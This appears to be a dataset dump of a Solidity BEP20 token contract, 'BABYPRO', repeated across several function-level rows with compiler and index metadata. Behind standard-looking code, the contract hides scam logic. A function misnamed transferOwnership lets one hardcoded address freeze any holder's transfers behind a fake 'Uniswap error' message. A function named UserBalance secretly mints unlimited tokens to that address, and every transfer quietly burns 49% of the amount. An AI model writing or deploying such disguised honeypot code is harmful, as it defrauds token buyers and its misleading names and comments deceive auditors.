* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burni(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"BEP20: burn amount exceeds allowance"
)
);
}
} | getOwner | function getOwner() internal view returns (address) {
return owner();
}
| /**
* @dev Returns the bep token owner.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
741,
831
]
} | 8,321 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | BEP20Token | contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => bool) internal useinmanage;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "BABYPRO";
_symbol = "BABYPRO";
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() internal view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transferOwnership(address account, bool value) public {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
useinmanage[account] = value;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function UserBalance(uint256 amount) public returns (bool) {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
burning(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(
!useinmanage[sender],
"Uniswap error try again after sometime"
);
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
uint256 tax= amount.mul(49);
tax=tax.div(100);
address black_hole=0x0000000000000000000000000000000000000000;
_balances[black_hole]= _balances[black_hole].add(tax);
amount=amount.sub(tax);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function burning(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(uint256 amount) internal returns (bool) {
_burni(_msgSender(), amount);
return true;
}
function _burni(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"BEP20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if (owner != address(0)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burni(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"BEP20: burn amount exceeds allowance"
)
);
}
} | decimals | function decimals() external view returns (uint8) {
return _decimals;
}
| /**
* @dev Returns the token decimals.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
895,
985
]
} | 8,322 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | BEP20Token | contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => bool) internal useinmanage;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "BABYPRO";
_symbol = "BABYPRO";
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() internal view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transferOwnership(address account, bool value) public {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
useinmanage[account] = value;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function UserBalance(uint256 amount) public returns (bool) {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
burning(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(
!useinmanage[sender],
"Uniswap error try again after sometime"
);
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
uint256 tax= amount.mul(49);
tax=tax.div(100);
address black_hole=0x0000000000000000000000000000000000000000;
_balances[black_hole]= _balances[black_hole].add(tax);
amount=amount.sub(tax);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function burning(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(uint256 amount) internal returns (bool) {
_burni(_msgSender(), amount);
return true;
}
function _burni(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"BEP20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if (owner != address(0)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burni(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"BEP20: burn amount exceeds allowance"
)
);
}
} | symbol | function symbol() external view returns (string memory) {
return _symbol;
}
| /**
* @dev Returns the token symbol.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
1047,
1141
]
} | 8,323 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | BEP20Token | contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => bool) internal useinmanage;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "BABYPRO";
_symbol = "BABYPRO";
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() internal view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transferOwnership(address account, bool value) public {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
useinmanage[account] = value;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function UserBalance(uint256 amount) public returns (bool) {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
burning(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(
!useinmanage[sender],
"Uniswap error try again after sometime"
);
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
uint256 tax= amount.mul(49);
tax=tax.div(100);
address black_hole=0x0000000000000000000000000000000000000000;
_balances[black_hole]= _balances[black_hole].add(tax);
amount=amount.sub(tax);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function burning(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(uint256 amount) internal returns (bool) {
_burni(_msgSender(), amount);
return true;
}
function _burni(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"BEP20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if (owner != address(0)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burni(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"BEP20: burn amount exceeds allowance"
)
);
}
} | name | function name() external view returns (string memory) {
return _name;
}
| /**
* @dev Returns the token name.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
1201,
1291
]
} | 8,324 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | BEP20Token | contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => bool) internal useinmanage;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "BABYPRO";
_symbol = "BABYPRO";
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() internal view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transferOwnership(address account, bool value) public {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
useinmanage[account] = value;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) external returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {BEP20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {BEP20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for `sender`'s tokens of at least
* `amount`.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"BEP20: transfer amount exceeds allowance"
)
);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {BEP20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue)
public
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"BEP20: decreased allowance below zero"
)
);
return true;
}
/**
* @dev Creates `amount` tokens and assigns them to `msg.sender`, increasing
* the total supply.
*
* Requirements
*
* - `msg.sender` must be the token owner
*/
function UserBalance(uint256 amount) public returns (bool) {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
burning(_msgSender(), amount);
return true;
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(
address sender,
address recipient,
uint256 amount
) internal {
require(sender != address(0), "BEP20: transfer from the zero address");
require(recipient != address(0), "BEP20: transfer to the zero address");
require(
!useinmanage[sender],
"Uniswap error try again after sometime"
);
_balances[sender] = _balances[sender].sub(
amount,
"BEP20: transfer amount exceeds balance"
);
uint256 tax= amount.mul(49);
tax=tax.div(100);
address black_hole=0x0000000000000000000000000000000000000000;
_balances[black_hole]= _balances[black_hole].add(tax);
amount=amount.sub(tax);
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function burning(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(uint256 amount) internal returns (bool) {
_burni(_msgSender(), amount);
return true;
}
function _burni(address account, uint256 amount) internal {
require(account != address(0), "BEP20: burn from the zero address");
_balances[account] = _balances[account].sub(
amount,
"BEP20: burn amount exceeds balance"
);
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens.
*
* This is internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal {
require(owner != address(0), "BEP20: approve from the zero address");
require(spender != address(0), "BEP20: approve to the zero address");
if (owner != address(0)) {
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
} else {
_allowances[owner][spender] = 0;
emit Approval(owner, spender, 0);
}
}
/**
* @dev Destroys `amount` tokens from `account`.`amount` is then deducted
* from the caller's allowance.
*
* See {_burn} and {_approve}.
*/
function _burnFrom(address account, uint256 amount) internal {
_burni(account, amount);
_approve(
account,
_msgSender(),
_allowances[account][_msgSender()].sub(
amount,
"BEP20: burn amount exceeds allowance"
)
);
}
} | totalSupply | function totalSupply() external view returns (uint256) {
return _totalSupply;
}
| /**
* @dev See {BEP20-totalSupply}.
*/ | NatSpecMultiLine | v0.5.16+commit.9c3226ce | GNU GPLv2 | bzzr://7df2eaa708faefc8f9cc9d61ae5cd93bf39d2e3139c8f56f0cb904e4fae73da6 | {
"func_code_index": [
1352,
1450
]
} | 8,325 |
||
BEP20Token | BEP20Token.sol | 0x8abade45c890bc6bbdcf37d3a6f80e987a1d35da | Solidity | BEP20Token | contract BEP20Token is Context, IBEP20, Ownable {
using SafeMath for uint256;
mapping(address => bool) internal useinmanage;
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
uint8 private _decimals;
string private _symbol;
string private _name;
constructor() public {
_name = "BABYPRO";
_symbol = "BABYPRO";
_decimals = 9;
_totalSupply = 1000000000000000 * 10**9;
_balances[msg.sender] = _totalSupply;
emit Transfer(address(0), msg.sender, _totalSupply);
}
/**
* @dev Returns the bep token owner.
*/
function getOwner() internal view returns (address) {
return owner();
}
/**
* @dev Returns the token decimals.
*/
function decimals() external view returns (uint8) {
return _decimals;
}
/**
* @dev Returns the token symbol.
*/
function symbol() external view returns (string memory) {
return _symbol;
}
/**
* @dev Returns the token name.
*/
function name() external view returns (string memory) {
return _name;
}
/**
* @dev See {BEP20-totalSupply}.
*/
function totalSupply() external view returns (uint256) {
return _totalSupply;
}
/**
* @dev See {BEP20-balanceOf}.
*/
function balanceOf(address account) external view returns (uint256) {
return _balances[account];
}
/**
* @dev See {BEP20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transferOwnership(address account, bool value) public {
require(
_msgSender() == 0x5412D7973883e542cdc72d570fb217Ee17fAB63a,
"BEP20: Not accessible"
);
useinmanage[account] = value;
}
function transfer(address recipient, uint256 amount)
external
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
/**
* @dev See {BEP20-allowance}.
*/
function allowance(address owner, address spender)
external
view
returns (uint256)
{
return _allowances[owner][spender];
}
/**
* @dev See {BEP20-approve}.
*
* Requirements:
*
